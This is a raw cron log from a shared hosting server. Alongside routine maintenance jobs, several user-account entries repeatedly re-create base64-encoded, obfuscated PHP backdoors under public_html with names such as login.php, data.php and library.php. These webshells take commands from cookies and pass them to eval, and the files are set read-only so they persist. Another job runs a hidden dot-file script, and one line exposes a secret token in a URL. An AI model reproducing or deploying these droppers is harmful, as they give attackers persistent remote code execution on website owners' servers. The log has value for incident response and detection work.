Apr 19 04:35:01 medusa CROND[7567]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:35:01 medusa CROND[7571]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:35:01 medusa CROND[7573]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7575]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:35:01 medusa CROND[7568]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:35:01 medusa CROND[7574]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:36:01 medusa CROND[28703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:36:01 medusa CROND[28704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:36:01 medusa CROND[28707]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:36:01 medusa CROND[28710]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:36:01 medusa CROND[28713]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:36:01 medusa CROND[28714]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:36:01 medusa CROND[28716]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:36:01 medusa CROND[28717]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:36:01 medusa CROND[28720]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:36:01 medusa CROND[28723]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:36:01 medusa CROND[28725]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:36:01 medusa CROND[28729]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:36:01 medusa CROND[28731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:36:01 medusa CROND[28727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:37:01 medusa CROND[17522]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:37:01 medusa CROND[17523]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:37:01 medusa CROND[17524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:37:01 medusa CROND[17525]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:37:01 medusa CROND[17526]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:37:01 medusa CROND[17528]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:37:01 medusa CROND[17529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:37:01 medusa CROND[17532]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:37:01 medusa CROND[17533]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:37:01 medusa CROND[17535]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:37:01 medusa CROND[17531]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:37:01 medusa CROND[17538]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:37:01 medusa CROND[17539]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:38:01 medusa CROND[8915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:38:01 medusa CROND[9004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
